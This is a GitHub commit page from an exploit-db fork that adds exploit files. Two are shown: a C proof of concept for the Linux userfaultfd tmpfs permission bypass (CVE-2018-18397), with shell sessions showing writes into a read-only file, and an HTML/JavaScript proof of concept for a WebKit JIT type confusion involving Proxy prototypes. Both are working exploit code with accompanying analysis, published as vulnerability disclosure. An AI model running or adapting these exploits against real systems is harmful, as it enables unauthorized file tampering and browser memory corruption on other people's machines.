forked from offensive-security/exploitdb
-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
3 changes to exploits/shellcodes Linux - 'userfaultfd' Bypasses tmpfs File Permissions WebKit JIT - Int32/Double Arrays can have Proxy Objects in the Prototype Chains CyberLink LabelPrint 2.5 - Stack Buffer Overflow (Metasploit)
- Loading branch information
Offensive Security
committed
Dec 14, 2018
1 parent
25e5c32
commit 04a490a
Showing
4 changed files
with
434 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,149 @@ | ||
Using the userfaultfd API, it is possible to first register a | ||
userfaultfd region for any VMA that fulfills vma_can_userfault(): | ||
It must be an anonymous VMA (->vm_ops==NULL), a hugetlb VMA | ||
(VM_HUGETLB), or a shmem VMA (->vm_ops==shmem_vm_ops). This means that | ||
it is, for example, possible to register userfaulfd regions for shared | ||
readonly mappings of tmpfs files. | ||
|
||
Afterwards, the userfaultfd API can be used on such a region to | ||
(atomically) write data into holes in the file's mapping. This API | ||
also works on readonly shared mappings. | ||
|
||
This means that an attacker with read-only access to a tmpfs file that | ||
contains holes can write data into holes in the file. | ||
|
||
Reproducer: | ||
|
||
First, as root: | ||
===================== | ||
root@debian:~# cd /dev/shm | ||
root@debian:/dev/shm# umask 0022 | ||
root@debian:/dev/shm# touch uffd_test | ||
root@debian:/dev/shm# truncate --size=4096 uffd_test | ||
root@debian:/dev/shm# ls -l uffd_test | ||
-rw-r--r-- 1 root root 4096 Oct 16 19:25 uffd_test | ||
root@debian:/dev/shm# hexdump -C uffd_test | ||
00000000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| | ||
* | ||
00001000 | ||
root@debian:/dev/shm# | ||
===================== | ||
|
||
Then, as a user (who has read access, but not write access, to that | ||
file): | ||
===================== | ||
user@debian:~/uffd$ cat uffd_demo.c | ||
#define _GNU_SOURCE | ||
#include <fcntl.h> | ||
#include <stdlib.h> | ||
#include <unistd.h> | ||
#include <sys/syscall.h> | ||
#include <linux/userfaultfd.h> | ||
#include <err.h> | ||
#include <sys/ioctl.h> | ||
#include <sys/mman.h> | ||
#include <stdio.h> | ||
|
||
static int uffd; | ||
static void *uf_mapping; | ||
|
||
int main(int argc, char **argv) { | ||
int rw_open_res = open("/dev/shm/uffd_test", O_RDWR); | ||
if (rw_open_res == -1) | ||
perror("can't open for writing as expected"); | ||
else | ||
errx(1, "unexpected write open success"); | ||
|
||
int mfd = open("/dev/shm/uffd_test", O_RDONLY); | ||
if (mfd == -1) err(1, "tmpfs open"); | ||
uf_mapping = mmap(NULL, 0x1000, PROT_READ, MAP_SHARED, mfd, 0); | ||
if (uf_mapping == (void*)-1) err(1, "shmat"); | ||
|
||
// Documentation for userfaultfd: | ||
// http://man7.org/linux/man-pages/man2/userfaultfd.2.html | ||
// http://man7.org/linux/man-pages/man2/ioctl_userfaultfd.2.html | ||
// https://blog.lizzie.io/using-userfaultfd.html | ||
uffd = syscall(__NR_userfaultfd, 0); | ||
if (uffd == -1) err(1, "userfaultfd"); | ||
struct uffdio_api api = { .api = 0xAA, .features = 0 }; | ||
if (ioctl(uffd, UFFDIO_API, &api)) err(1, "API"); | ||
|
||
struct uffdio_register reg = { | ||
.range = { | ||
.start = (unsigned long)uf_mapping, | ||
.len = 0x1000 | ||
}, | ||
.mode = UFFDIO_REGISTER_MODE_MISSING | ||
}; | ||
if (ioctl(uffd, UFFDIO_REGISTER, ®)) err(1, "REGISTER"); | ||
|
||
char buf[0x1000] = {'A', 'A', 'A', 'A'}; | ||
struct uffdio_copy copy = { | ||
.dst = (unsigned long)uf_mapping, | ||
.src = (unsigned long)buf, | ||
.len = 0x1000, | ||
.mode = 0 | ||
}; | ||
if (ioctl(uffd, UFFDIO_COPY, ©)) err(1, "copy"); | ||
if (copy.copy != 0x1000) errx(1, "copy len"); | ||
|
||
printf("x: 0x%08x\n", *(unsigned int*)uf_mapping); | ||
return 0; | ||
} | ||
user@debian:~/uffd$ gcc -o uffd_demo uffd_demo.c -Wall | ||
user@debian:~/uffd$ ./uffd_demo | ||
can't open for writing as expected: Permission denied | ||
x: 0x41414141 | ||
user@debian:~/uffd$ | ||
===================== | ||
|
||
And now again as root: | ||
===================== | ||
root@debian:/dev/shm# hexdump -C uffd_test | ||
00000000 41 41 41 41 00 00 00 00 00 00 00 00 00 00 00 00 |AAAA............| | ||
00000010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| | ||
* | ||
00001000 | ||
===================== | ||
|
||
|
||
I asked MITRE for a CVE when I started writing the bug report, and | ||
they've already given me CVE-2018-18397. | ||
|
||
|
||
By the way, another interesting thing: Apparently userfaultfd even | ||
lets you write beyond the end of the file, and the writes become | ||
visible if the file is subsequently truncated to a bigger size? | ||
That seems wrong. | ||
|
||
As root, create an empty file: | ||
===================== | ||
root@debian:/dev/shm# rm uffd_test | ||
root@debian:/dev/shm# touch uffd_test | ||
root@debian:/dev/shm# ls -l uffd_test | ||
-rw-r--r-- 1 root root 0 Oct 16 19:44 uffd_test | ||
root@debian:/dev/shm# | ||
===================== | ||
|
||
Now as a user, use userfaultfd to write into it: | ||
===================== | ||
user@debian:~/uffd$ ./uffd_demo | ||
can't open for writing as expected: Permission denied | ||
x: 0x41414141 | ||
user@debian:~/uffd$ | ||
===================== | ||
|
||
Afterwards, to root, the file still looks empty, until it is truncated | ||
to a bigger size: | ||
===================== | ||
root@debian:/dev/shm# ls -l uffd_test | ||
-rw-r--r-- 1 root root 0 Oct 16 19:44 uffd_test | ||
root@debian:/dev/shm# hexdump -C uffd_test | ||
root@debian:/dev/shm# truncate --size=4096 uffd_test | ||
root@debian:/dev/shm# hexdump -C uffd_test | ||
00000000 41 41 41 41 00 00 00 00 00 00 00 00 00 00 00 00 |AAAA............| | ||
00000010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| | ||
* | ||
00001000 | ||
root@debian:/dev/shm# | ||
===================== |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,116 @@ | ||
<!-- | ||
Bug: | ||
void JSObject::setPrototypeDirect(VM& vm, JSValue prototype) | ||
{ | ||
ASSERT(prototype); | ||
if (prototype.isObject()) | ||
prototype.asCell()->didBecomePrototype(); | ||
if (structure(vm)->hasMonoProto()) { | ||
DeferredStructureTransitionWatchpointFire deferred(vm, structure(vm)); | ||
Structure* newStructure = Structure::changePrototypeTransition(vm, structure(vm), prototype, deferred); | ||
setStructure(vm, newStructure); | ||
} else | ||
putDirect(vm, knownPolyProtoOffset, prototype); | ||
if (!anyObjectInChainMayInterceptIndexedAccesses(vm)) | ||
return; | ||
if (mayBePrototype()) { | ||
structure(vm)->globalObject()->haveABadTime(vm); | ||
return; | ||
} | ||
if (!hasIndexedProperties(indexingType())) | ||
return; | ||
if (shouldUseSlowPut(indexingType())) | ||
return; | ||
switchToSlowPutArrayStorage(vm); | ||
} | ||
JavaScriptCore doesn't allow native arrays to have Proxy objects as prototypes. If we try to set the prototype of an array to a Proxy object, it will end up calling either switchToSlowPutArrayStorage or haveABadTime in the above method. switchToSlowPutArrayStorage will transition the array to a SlowPutArrayStorage array. And haveABadTime will call switchToSlowPutArrayStorage on every object in the VM on a first call. Since subsequent calls to haveABadTime won't have any effect, with two global objects we can create an array having a Proxy object in the prototype chain. | ||
Exploit: | ||
case HasIndexedProperty: { | ||
ArrayMode mode = node->arrayMode(); | ||
switch (mode.type()) { | ||
case Array::Int32: | ||
case Array::Double: | ||
case Array::Contiguous: | ||
case Array::ArrayStorage: { | ||
break; | ||
} | ||
default: { | ||
clobberWorld(); | ||
break; | ||
} | ||
} | ||
setNonCellTypeForNode(node, SpecBoolean); | ||
break; | ||
} | ||
From: https://github.com/WebKit/webkit/blob/9ca43a5d4bd8ff63ee7293cac8748d564bd7fbbd/Source/JavaScriptCore/dfg/DFGAbstractInterpreterInlines.h#L3481 | ||
The above routine is based on the assumption that if the input array is a native array, it can't intercept indexed accesses therefore it will have no side effects. But actually we can create such arrays which break that assumption making it exploitable. | ||
PoC: | ||
--> | ||
|
||
<body> | ||
<script> | ||
|
||
function opt(arr, arr2) { | ||
arr[1] = 1.1; | ||
|
||
let tmp = 0 in arr2; | ||
|
||
arr[0] = 2.3023e-320; | ||
|
||
return tmp; | ||
} | ||
|
||
function main() { | ||
let o = document.body.appendChild(document.createElement('iframe')).contentWindow; | ||
|
||
// haveABadTime | ||
o.eval(` | ||
let p = new Proxy({}, {}); | ||
let a = {__proto__: {}}; | ||
a.__proto__.__proto__ = p; | ||
`); | ||
|
||
let arr = [1.1, 2.2]; | ||
let arr2 = [1.1, 2.2]; | ||
|
||
let proto = new o.Object(); | ||
let handler = {}; | ||
|
||
arr2.__proto__ = proto; | ||
proto.__proto__ = new Proxy({}, { | ||
has() { | ||
arr[0] = {}; | ||
|
||
return true; | ||
} | ||
}); | ||
|
||
for (let i = 0; i < 10000; i++) { | ||
opt(arr, arr2); | ||
} | ||
|
||
setTimeout(() => { | ||
delete arr2[0]; | ||
|
||
opt(arr, arr2); | ||
|
||
alert(arr[0]); | ||
}, 500); | ||
} | ||
|
||
main(); | ||
|
||
</script> | ||
</body> |
Oops, something went wrong.